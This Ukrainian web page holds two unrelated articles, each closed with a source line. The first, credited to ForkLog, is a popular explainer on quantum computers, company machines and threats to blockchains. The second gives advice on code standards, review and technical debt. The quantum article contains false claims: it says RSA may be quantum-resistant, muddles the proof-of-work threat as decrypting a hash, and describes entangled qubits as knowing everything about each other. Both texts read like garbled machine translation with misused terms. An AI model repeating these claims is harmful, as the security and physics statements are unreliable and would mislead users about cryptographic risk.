З квантовими комп’ютерами вже не перший рік пов’язують безліч надій і водночас побоювань. На думку оптимістів, вони дадуть новий ривок у сфері обчислювальних технологій і зможуть вирішувати найскладніші завдання, з якими не справляються найпотужніші машини, що нині існують. Песимісти вважають, що пересічним користувачам всі ці кубити в «люстрах» не принесуть нічого, крім нових викликів у галузі криптографії та захисту персональних даних. Про те, як влаштовані квантові комп’ютери, які вже існують до початку 2024 року, і наскільки виправдані страхи перед ними, для читачів ForkLog розповідає Сергій Голубенко.
1965 року американський інженер Гордон Мур вивів закономірність: кількість транзисторів на мікросхемах подвоюється приблизно кожні два роки. Це спостереження згодом підтвердилося — потужність обчислювальних пристроїв досі стабільно зростає за експонентом.
Однак у 2007 році сам Мур припустив, що виявлена ним закономірність скоро перестане працювати – такі закони фізики. Найбільш перспективним виходом із цього глухого кута вже не перший рік називаю квантові обчислювальні системи (КВС), про які ми сьогодні розповімо.
Їх найважливіша відмінність від звичайних комп’ютерів полягає у способі зберігання та обробки інформації. Традиційні машини, побудовані з урахуванням кремнієвих мікросхем, містять мільйони транзисторів. Виконуючи роль мініатюрних «рубильників», кожен із них може бути або у положенні «включено» («1»), або «вимкнено» («0»). Згодом комп’ютер зберігає та обробляє дані, використовуючи двійкову систему (код) та оперуючи бітами даних.
КВС оперують кубитами (квантовими бітами) і можуть бути побудовані різними способами через надпровідні електричні ланцюги або за рахунок окремих іонів, захопленими магнітними пастками.
Для розуміння цього процесу потрібно вийти за рамки звичного сприйняття світу і перенестися у сферу квантового простору, де більший потенціал мають кубити, які мають здатність перебувати одночасно в кількох станах. Це явище називається суперпозицією. Квантовий стан дозволяє кубіту набувати значення не тільки одиниці або нуля, але й будь-якого між ними, а також обидва значення одночасно – зовсім як у уявному експерименті “Кіт Шредінгера“.
І найцікавіше: пригоди ймовірностей значень миттєво припиняються, щойно втручається спостерігач, якому потрібний лише результат «так» чи «ні». Цей дослідник, оператор квантового комп’ютера, з допомогою спеціального алгоритму отримує лише відповідь «1» чи «0». Перебування кубіту в суперпозиції дозволяє КВП паралельно обробляти значно більший обсяг даних, ніж класичний комп’ютер.
Створити один кубит і керувати ним лише частина завдання. Крім суперпозиції, кубити також відчувають «Сплутані квантові стани» – ще одна ключова квантовомеханічна властивість, при якій стан одного кубіту може залежати від іншого. Простіше кажучи, якщо «заплутати» два кубити і відправити один із них, наприклад, на відстань у кілька десятків кілометрів, використовуючи оптоволокно, то вони збережуть зв’язок і знатимуть один про одного все. Це відкриває неймовірні можливості у транспортуванні інформації з урахуванням квантового шифрування. Але ця технологія має слабкі місця: частки мають звичай губитися дорогою, і тому не всі з них приходять до фінішу.
Частинки, що виступають у ролі кубитів, вкрай сприйнятливі до випадкових збуджень – найменших теплових ефектів або електромагнітного поля сусіднього об’єкта. Через це квантовий комп’ютер видає правильну відповідь поки що лише з ймовірністю 98-99%. Для підтримки стабільної роботи кожну пару кубитів поміщають у холодний вакуум, де крім них немає нічого. Виникають питання: як організувати зберігання кубіту і які частинки можуть виступати у ролі?
Розглянемо на прикладі комп’ютера, який використовує як кубіти частинки іонів, наділені квантовою природою. Завдання: надати відповідній природній частинці (у нашому випадку іону) значення «1» або «0», яке він приймає відповідно на північ або південніше від екватора сфери Блоха. Це дозволяє створити «крани», якими можна керувати (змінювати значення ймовірностей усередині частки), використовуючи низькорівневе програмування. А для захоплення такої пари іонів та їх утримання у тісній заплутаності існує спеціальна пастка з електромагнітних полів. В результаті маємо заплутану пару іонів, якою можна керувати, помістивши у холодний вакуум.
У квантових обчисленнях використовують такі технології:
- надпровідні кубити (або струми на кристалах);
- фотонні кубити – генерація за допомогою оптичного обладнання заплутаних квантів світла та керування ними до кількох годин при кімнатній температурі;
- іонні кубити в магнітних пастках – ланцюжок заряджених ядер іонів, які утримуються за допомогою електромагнітних полів у холодному вакуумі;
- твердотільні квантові точки на напівпровідниках , керовані електромагнітним полем або лазерними імпульсами;
- квазічастинки в топологічних квантових комп’ютерах — колективні стани кластерів електронів, «заморожених» фотонів або ферміонів Майорани, які поводяться як частинки всередині напівпровідників чи надпровідників.
Далі слід розібратися в принципах роботи квантових комп’ютерів та показати їхню відмінність від класичних.
Квантовий комп’ютер — це об’єднана аналого-цифрова система, яка працює за принципом «безліч значень ймовірностей» і дозволяє за допомогою заданого алгоритму отримати вибірку з кінцевих реалізацій цього алгоритму. Класичний комп’ютер — це цифрова машина, що обробляє інформацію в дискретній формі як рядок з одиниць і нулів.
Тут виникає ще одне закономірне питання: як отримані аналогові дані перевести у звичну цифрову форму? Використовуючи системи перетворення сигналу, вчені зробили низькорівневе програмування частинок. І в цій галузі тепер вирує серйозна робота: треба зробити так, щоб програміст писав високорівневий код, не маючи додаткових поглиблених знань у фізиці та хімії.
Ще одна актуальна проблема полягає в тому, що квантові комп’ютери на даному етапі мають масивну конструкцію і можуть розміщуватись тільки у великих приміщеннях. Форма «люстри», яку для цих цілей використовують у надпровідникових технологіях IBM та Google, вважається найзручнішою. Ця конструкція складається з безлічі мідних проводів, які поєднують усі частини комп’ютера: підсилювачі сигналу кубитів, надпровідні котушки, квантовий процесор, різні засоби захисту від радіації та електромагнітних хвиль. Причому це все в умовах вакууму. Якщо лабораторія використовує інші технології кубітів, форми конструкцій таких комп’ютерів можуть відрізнятися і навіть нагадувати класичний серверний блок.
Особливі властивості кубитів (надпровідність, надплинність і т. д.) починають проявлятися тільки при температурі, близькій доабсолютному нулю. Для охолодження квантового процесора доводиться використовувати установки з гелієм чи азотом.
Наскільки ж виправданий такий клопіт?
Якщо провести порівняння потенційних обчислювальних потужностей, то в класичному комп’ютері вони пов’язані з кількістю бітів: додавання одного транзистора збільшує пам’ять на 1 біт). У квантовому додавання одного кубіта збільшує пам’ять відразу в два рази. Як ми вже говорили, 1 кубит має всього два стани («0» або «1»), а завдяки заплутаності 10 кубітів мають уже 1024 стани; ну а сотня кубітів має 2 в 100 ступеня станів.
Очевидно, тут є що боротися. Але основне завдання — зберегти належний рівень якості заплутаності нових пар кубітів, оскільки просте зростання їх числа не призведе до підвищення продуктивності комп’ютера і не дасть квантової переваги.
Техгіганти та стартапи: квантові комп’ютери сьогодні
В даний час найбільших успіхів у галузі створення КВС досягли наступні корпорації, державні дослідні центри та молоді незалежні проекти.
IBM
Парк квантових комп’ютерів цієї корпорації вже налічує понад 20 машин, доступ до яких організовано через хмарний сервіс IBM Quantum Experience. У грудні 2023 року Quantum Summit представили перший модульний квантовий комп’ютер IBM Quantum System Two. Він базується на 133-кубітному процесорі Heron, який представники компанії називають найпродуктивнішим у світі. IBM також анонсувала процесор Condor з 1121 кубитом та на 50% більшою щільністю їх розміщення.
Google
У 2019 році співробітники техгіганту заявили про досягнення квантової переваги завдяки 53-кубітному комп’ютеру Sycamore на надпровідниках (щоправда, досягнення було оскаржене IBM). Тест, на думку критиків, був скоріше «показовим виступом» у рамках квантових перегонів. З того часу дослідники змогли додати до показників Sycamore ще 17 кубітів. Тепер він виконує за кілька секунд обчислення, на повторення яких сучасний суперкомп’ютер витратив би 47 років.
У Google, як і IBM, пішли перевіреним шляхом використання класичних мікросхем, впроваджуючи кубити через надпровідники.
Xanadu
Ця канадська компанія навесні 2022 року оголосила про запуск нового квантового комп’ютера Borealis, розгорнувши його в хмарі і надавши загальний доступ. Комп’ютер оснащений 216 фотонними кубитами. Як пише Nature, система успішно подолала бар’єр квантової переваги, закладений алгоритмом. І якщо найпотужнішому сучасному суперкомп’ютеру на виконання цієї операції знадобилося б приблизно 9000 років, Borealis впорався лише за 36 мікросекунд.
Atom Computing
Ця компанія з Каліфорнії створила перший у світі квантовий комп’ютер із 1180 кубитами, використовуючи нейтральні атоми, захоплені лазерами у двомірну сітку. Як результат, у комп’ютері Atom Computing квантові біти здатні працювати без помилок майже хвилину, тоді як аналогічний показник у комп’ютері від IBM становив лише 70-80 мікросекунд.
Науково-технічний університет Китаю
У грудні грудня 2020 року китайські вчені повідомили, що їх комп’ютер Jiuzhang, який працює на заплутаних фотонах, досяг квантової переваги. За 200 секунд вони успішно провели обчислення, які найшвидший у світі цифровий комп’ютер виконав би лише за півмільярда років.
Квантові обчислення та криптовалюти
Існує думка, що квантові комп’ютери в найближчому майбутньому зможуть зламувати блокчейни і, наприклад, знищити біткоін. Ці тривоги небезпідставні, але важливо пам’ятати про два нюанси.
По-перше, загроза більше відноситься до PoW -блокчейн, де під загрозу потрапляє дешифрування хешу. По-друге, шифрування RSA (найпоширеніша альтернатива криптографії еліптичних кривих) може бути квантово-стійким. Хоча коли йдеться про традиційне дешифрування, прийнято вважати навпаки.
Якщо міркувати глобально, багато залежатиме від того, наскільки швидко криптографи у відповідь на потенційні виклики вирішать проблему захисту від квантового злому.
У криптосфері вже є приклади компаній, які заявили про свою повну квантову стійкість: Quantum Resistant Ledger зі своєю криптовалютою QRL, а також технологія розподілу ключів QKD від JPMorgan – для захисту блокчейну від квантових обчислень. Для реалізації квантової стійкості QRL використовує IETF XMSS – схему прямого безпечного підпису на основі хешу з мінімальними припущеннями про безпеку, де XMSS – розширена схема підпису Меркла.
Рух у бік модульних блокчейнів також видається позитивним. Завдяки своїй структурі вони супроводжують простіше впровадження квантових підписів і в майбутньому вирішать проблему розподілу операторів нід для посилення децентралізації та захисту розподілених реєстрів.
Резюмуючи, можна сказати, що об’єднання зусиль блокчейну та квантових обчислень допоможе створити більш безпечні та потенційно революційні обчислювальні рішення, які зрештою дозволять вирішити цілу низку криптографічних та життєвих проблем.
Чи побачимо ми квантовий хардфорк біткоїну чи світовий квантовий інтернет — думаємо, питання часу.
Джерело
Як побудувати роботу над кодом

Щоб усім було зручно його писати, обговорювати та рефакторити — без розпухлого беклогу та обличчя девопса.
Мені здається, що якщо запитати 10 випадкових розробників про те, як у них у командах влаштовано роботу над кодом, то в 9 випадків відповідь буде «Ну, як доведеться. Як звикли!».
Це дивно для галузі, в якій є справжній культ менеджерських практик: з них пишуть книги, проводять конференції, їм навчають. Але рідко коли навчають практик хорошої роботи над кодом! У крайньому випадку в команді знайдеться досвідчений лід або людина з хорошим системним мисленням, яка при цьому готова допомогти колегам стати краще.
Нагадаю вам базові правила, з яких потрібно розпочинати роботу в цьому напрямку. Побуду вашим системним лідом на півгодини, так би мовити!
Встановіть стандарти
Стандарти роботи над кодом та принципи його оформлення мають бути легко доступними для кожного учасника команди. Корисно провести невеликий семінар усередині та розібрати, які стандарти бувають.
Якщо ми говоримо про JS, то приклад відмінно оформленого та вичерпного стандарту можна підглянути у Google. Також непогано розроблений стандарт Airbnb.
Доступні всім стандарти полегшують виявлення проблем з якістю коду і дуже допомагають під час код-рев’ю.
Але не перестарайтеся з посібниками! Достатньо встановити суворі правила іменування, інтервалів та відступів, щоб покращити читабельність. Не потрібно регулювати кожен рядок коду. Завжди і скрізь більше правил — це менше швидкості розробки.
Любіть код-рев’ю
Код-рев’ю – це не тільки спосіб виправити помилки і зробити код кращим, це ще й можливість отримати знання про різні області вашої кодової бази. І спосіб поповнювати та покращувати стандарти, само собою.
Багато інженерних команд використовують принцип DoD (Definition of Done) – такий контрольний список виконаного перед тим, як код можна віддавати в продакшен.
Наприклад:
- Пройдено юніт-тести.
- Пройдено інтеграційні тести.
- Усі некритичні баченням внесені в техборг.
- Критична бізнес-логіка задокументована у коментарях.
- Код відповідає стандартам команди.
Ось кілька інструментів, які допоможуть у ревію:
- Husky для нативних гіт-хуків. Husky можна доповнити ESLint і Prettier – для підтримки коду за красою та стилем.
- Snyk Code – для статичного аналізу коду, щоб знайти різні типи помилок.
Якщо у вас в команді немає регулярного код-рев’ю, то вам буде дуже важко писати код, що масштабується, ефективний і підтримується.
Спринтуйте борг
Наше завдання – не давати технологу розростатися.
Раджу виділити приблизно 20% ресурсів у кожному спринті на виправлення технічного боргу. Крім того, регулярно проводьте спринт, присвячений усуненню технічного обов’язку – цілком.
Ну, а взагалі є різні стратегії роботи з техборгом, це гідно окремої статті. Наприклад, є стратегія «контрольованої розширюваності» за рахунок низькопріоритетних іш’ю.
Розставляйте пріоритети
У компаніях часто сегментують помилки та звернення користувачів за пріоритетами, щоб насамперед лагодити найважливіше. Але з кодом це зробити складніше.
Наприклад, у JIRA не можна пов’язати проблеми користувачів з кодом та ефективно працювати з технічним боргом. Можна підключити зовнішній трекер, наприклад Stepsize – він дозволяє керувати проблемами прямо із середовища розробки.
Слідкуйте за метриками
У деяких командах прийнято стежити за метриками коду. Є навіть ціла академічна стаття про те, як вони влаштовані.
Наприклад, корисно вважати кількість коментів на 1000 рядків коду – це дасть загальне уявлення про складність. Якщо послідовно стежити за метрикою, можна побачити зміну складності, що буває корисно для техліда або техдира.
Також є поняття зв’язності коду (Code Cohesion). Цією метрикою вимірюють наскільки добре структурована та організована кодова база. Це не дивно, адже високоорганізовану кодову базу легше розуміти, підтримувати та покращувати.
І бонус-трек
Ніщо не покращує код краще за постійного внутрішнього обговорення, такого колективного код-рев’ю. Я раджу проводити їх не рідше 1 разу на місяць. У деяких командах це називають «прожаркою».
Попросіть кожного зібрати по кілька прикладів (доброго та поганого), зберіться у неформальній обстановці, можна з пивом та піцою (краще без ананасів). Описані стандарти, дружня атмосфера та терпимість до помилок – це найкраще, що ви зможете зробити для коду, колег та компанії.
Джерело